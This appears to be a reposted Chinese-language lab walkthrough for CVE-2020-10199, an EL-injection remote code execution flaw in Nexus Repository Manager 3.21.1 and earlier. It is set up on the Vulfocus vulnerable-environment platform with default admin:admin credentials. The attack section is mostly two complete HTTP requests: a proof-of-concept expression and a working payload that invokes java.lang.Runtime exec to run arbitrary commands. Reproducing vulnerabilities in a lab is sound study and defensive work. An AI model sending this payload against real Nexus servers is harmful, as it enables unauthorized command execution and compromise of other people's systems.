Nexus Repository Manager 3 遠程命令執行漏洞(CVE-2020-10199)


1、靶場使用Vulfocus

     Vulfocus是一個漏洞集成平台,將漏洞環境 docker 鏡像,放入即可使用,開箱即用

     安裝平台(之前安裝好Docker)

docker pull vulfocus/vulfocus:latest
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xxx.xxx.xxx vulfocus/vulfocus

   這里的IP不要填127.0.0.1 填寫docker的IP(登陸默認admin:admin)

  

 

 然后添加鏡像,可直徑從系統拉取

 

 2、靶場開啟完畢開始攻擊

      Nexus Repository Manager 3 是一款軟件倉庫,可以用來存儲和分發Maven、NuGET等軟件源倉庫。其3.21.1及之前版本中,存在一處任意EL表達式注入漏洞。            Nexus Repository Manager 3.21.1:

      該漏洞需要至少普通用戶身份,所以我們需要使用賬號密碼admin:admin登錄后台(靶機環境密碼默認admin:admin)

    

POC:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 值
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 267
Origin: http://xxx.xxx.xxx.xxx
Connection: close
Referer: http://xxx.xxx.xxx.xxx
Cookie:  NX-ANTI-CSRF-TOKEN=值; NXSESSIONID=值
X-Forwarded-For: 127.0.0.1

{ "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{233*233*233}"] }}

 

 

payload:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 值
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 267
Origin: http://xxx.xxx.xxx.xxx
Connection: close
Referer: http://xxx.xxx.xxx.xxx
Cookie:  NX-ANTI-CSRF-TOKEN=值; NXSESSIONID=值
X-Forwarded-For: 127.0.0.1

{ "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('命令')}"] }}

執行失敗截圖:

 

執行成功截圖:

 

 

 注意: 有時失敗,可能是靶機缺少相應命令(比如: curl   xxx.xxx.xxx.xxxx  返回失敗, 可能就是靶機不支持curl命令

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM